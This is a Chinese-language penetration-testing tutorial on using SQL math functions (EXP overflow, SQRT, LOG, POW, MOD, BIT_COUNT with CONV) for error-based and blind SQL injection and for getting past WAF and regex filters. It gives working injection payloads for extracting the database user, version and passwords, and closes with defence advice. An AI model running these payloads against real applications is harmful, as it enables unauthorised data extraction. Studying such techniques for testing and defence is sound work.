探索SQL注入中数学函数的应用:绕过过滤、"算"出数据
字数 1220 2025-08-29 08:30:06
SQL注入中数学函数的应用:绕过过滤与数据提取技术
一、数学函数在SQL注入中的重要性
在渗透测试中,数学函数是绕过SQL注入防护的关键技术手段。由于以下原因,开发人员往往无法完全防御SQL注入:
- 业务影响和代码耦合性导致无法全面采用预编译
- 只能通过正则过滤或WAF进行表层防护
- 防御措施往往只是"欺骗"攻击者而非根本解决
数学函数作为原始输入与注入逻辑的桥梁,能够:
- 绕过表层防御机制
- 实现精确数据获取
- 构造布尔/时间盲注
- 触发报错泄露数据
二、数学函数在报错注入中的应用
EXP()函数利用
原理:利用exp()函数溢出触发报错
-- MySQL示例
SELECT EXP(~(SELECT * FROM (SELECT version())x))
技术细节:
exp()为指数函数,与ln()和log()对数函数功能相反- 当
exp()运算超出709时会导致溢出错误 - 对0按位取反(~0)得到最大无符号BIGINT值
- 子查询结果取反后放入
exp()触发报错
利用方式:
通过报错信息获取数据库版本等敏感数据
三、盲注中的数学函数技巧
1. 时间盲注(Time-Based)
sqrt()函数
- 对传入数据开平方
- 传入数据小于0返回NULL(Oracle直接报错)
select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-114));
log()/log(m,n)函数
- 返回自然数对数
- n<0返回NULL(Oracle报错)
- log(1)=0
select if ((log(ASCII(SUBSTR(user(),1,1))-113))=0,sleep(1),1);
pow(m,n)函数
- 幂运算
- 底数为负且指数非整数时报错
'+or+if(POW((ASCII(SUBSTR(user(),1,1))-114),0.5)=0,sleep(2),1)='1
mod(m,n)函数
- 模运算(求余数)
- 除数为零返回NULL(Oracle报错)
select sleep(3/ISNULL(MOD(0,ASCII(SUBSTR(user(),1,1))-114)));
ACOS(n)和ASIN(n)函数
- 反三角函数
- 取值范围(-1~1),超出返回NULL(Oracle报错)
- 余弦函数峰值约3.14(推荐使用)
2. 布尔盲注(Boolean-Based)
基础利用
SELECT * FROM users WHERE id=1 AND (LENGTH(database())=8)*1=1
sqrt()函数利用
-- 通过ISNULL判断
SELECT ISNULL(sqrt(ASCII(SUBSTR(user(),1,1))-83))
-- 直接利用运算结果
SELECT * FROM users WHERE sqrt(ASCII(SUBSTR(user(),1,1))-83) IS NULL
Oracle中的利用
利用sqrt()在Oracle中小于0时报错的特性:
- 当第一次出现异常时,ASCII值为fuzz结果-1
- 或最后一次正常值为sqrt(0)
- 通过响应差异判断正确ASCII值
四、数据转换绕过技术
1. 字符串转数值
-- ASCII码转换
SELECT ORD('a')-96 -- 返回1
-- 结合SUBSTR逐位提取
SELECT (ASCII(SUBSTR(password,1,1)) > 100) FROM users WHERE id=1
2. 进制转换绕过过滤
-- 使用CONV()函数
SELECT CONV(HEX(SUBSTR(user(),1,1)),16,10) -- 字符转十进制
五、数学函数与位运算结合
BIT_COUNT()函数
- 计算数字中1的个数
- 例如BIT_COUNT(1)返回1(0000 0001)
位运算注入示例
-- 判断最低位是否为1
SELECT BIT_COUNT(ASCII('a') & 1) -- a=97(0110 0001) & 1=1
-- 完整位探测
SELECT sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)&1));
-- 实际注入示例
1'+or+1/sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)%261))='1
位运算注入原理
- 通过CONV和HEX将字符转为十进制
- 使用&运算符逐位探测(128,64,32,16,8,4,2,1)
- 结合sqrt()等函数判断各位是否为1
- 组合各位结果得到完整ASCII值
六、防御建议
- 始终使用参数化查询/预编译语句
- 避免在SQL中直接拼接用户输入
- 对数学函数使用进行严格限制
- 实现多层防御机制(WAF+代码层防护)
- 错误信息处理规范化,避免泄露敏感信息
七、总结
数学函数在SQL注入中提供了多种绕过防护和提取数据的技术手段,渗透测试人员需要深入理解这些函数的特性和组合使用方式。同时,防御方应当从根本入手,而非依赖表层过滤,才能真正有效防御SQL注入攻击。